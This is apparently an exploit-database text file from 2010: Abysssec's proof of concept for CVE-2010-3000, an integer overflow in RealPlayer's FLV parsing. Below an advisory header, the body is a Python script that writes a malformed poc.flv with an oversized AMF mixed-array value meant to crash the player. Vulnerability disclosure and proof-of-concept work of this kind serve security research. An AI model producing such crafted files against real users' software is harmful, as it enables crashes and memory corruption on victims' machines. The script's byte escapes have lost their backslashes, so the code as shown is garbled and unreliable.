moaub-realplayer.txt
Posted on 14 September 2010
''' __ __ ____ _ _ ____ | / |/ __ / | | | | _ \n| / | | | | / | | | | |_) | | |/| | | | |/ / | | | | _ < | | | | |__| / ____ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ ''' ''' Title : RealPlayer FLV Parsing Multiple Integer Overflow Version : RealPlayer SP 1.1.4 Analysis : http://www.abysssec.com Vendor : http://www.real.com Impact : High Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec CVE : CVE-2010-3000 ''' # POC for CVE-2010-3000 # http://www.exploit-db.com/moaub-13-realplayer-flv-parsing-multiple-integer-overflow/ # http://www.exploit-db.com/sploits/moaub-13-exploit.zip import sys def main(): flvHeader = 'x46x4Cx56x01x05x00x00x00x09' flvBody1 = 'x00x00x00x00x12x00x00x15x00x00x00x00x00x00x00x02x00x0Ax6Fx6Ex4Dx65x74x61x44x61x74x61x08' HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value = "x07x50x75x08" # if value >= 0x7507508 --> crash flvBody2 = "x00x00x09x00x00x00x20" flv = open('poc.flv', 'wb+') flv.write(flvHeader) flv.write(flvBody1) flv.write(HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value) flv.write(flvBody2) flv.close() print '[-] FLV file generated' if __name__ == '__main__': main()
